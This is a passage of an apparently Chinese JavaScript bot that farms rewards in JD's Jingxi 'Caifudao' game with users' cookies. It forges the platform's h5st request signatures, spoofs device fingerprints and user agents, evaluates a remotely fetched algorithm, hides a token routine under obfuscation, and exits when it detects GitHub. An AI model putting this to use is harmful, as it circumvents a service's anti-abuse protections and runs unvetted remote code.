16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛热气球"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; +$.appId = 10032; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let count = 0 + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + console.log('\n') + do { + count++ + console.log(`============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.info = {} + if (count === 1) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + } else { + UA = UAInfo[$.UserName] + } + // token = await getJxToken() + await cfd(); + let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 + await $.wait(time) + } + } + } while (count < 25) +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + await queryshell() + } catch (e) { + $.logErr(e) + } +} + +// 卖贝壳 +async function querystorageroom() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 捡贝壳 +async function queryshell() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.canpick = true; + for (let key of Object.keys(data.Data.NormShell)) { + let vo = data.Data.NormShell[key] + for (let j = 0; j < vo.dwNum && $.canpick; j++) { + await pickshell(`dwType=${vo.dwType}`) + await $.wait(3000) + } + if (!$.canpick) break + } + console.log('') + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function pickshell(body) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pickshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + let dwName + switch (data.Data.strFirstDesc) { + case '亲爱的岛主~♥七夕快乐鸭♥': + dwName = '爱心珍珠' + break + case '捡到珍珠了,看起来很贵的样子': + dwName = '小珍珠' + break + case '捡到小海螺了,做成项链一定很漂亮': + dwName = '小海螺' + break + case '把我放在耳边,就能听到大海的声音了~': + dwName = '大海螺' + break + case '只要诚心祈祷,愿望就会实现哦~': + dwName = '海星' + break + case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': + dwName = '小贝壳' + break + case '啊~我可不想被清蒸加蒜蓉': + dwName = '扇贝' + break + default: + break + } + if (data.iRet === 0) { + console.log(`捡贝壳成功:捡到了${dwName}`) + } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { + console.log(`捡贝壳失败:${data.sErrMsg}`) + await $.wait(3000) + await querystorageroom() + } else { + $.canpick = false; + console.log(`捡贝壳失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const 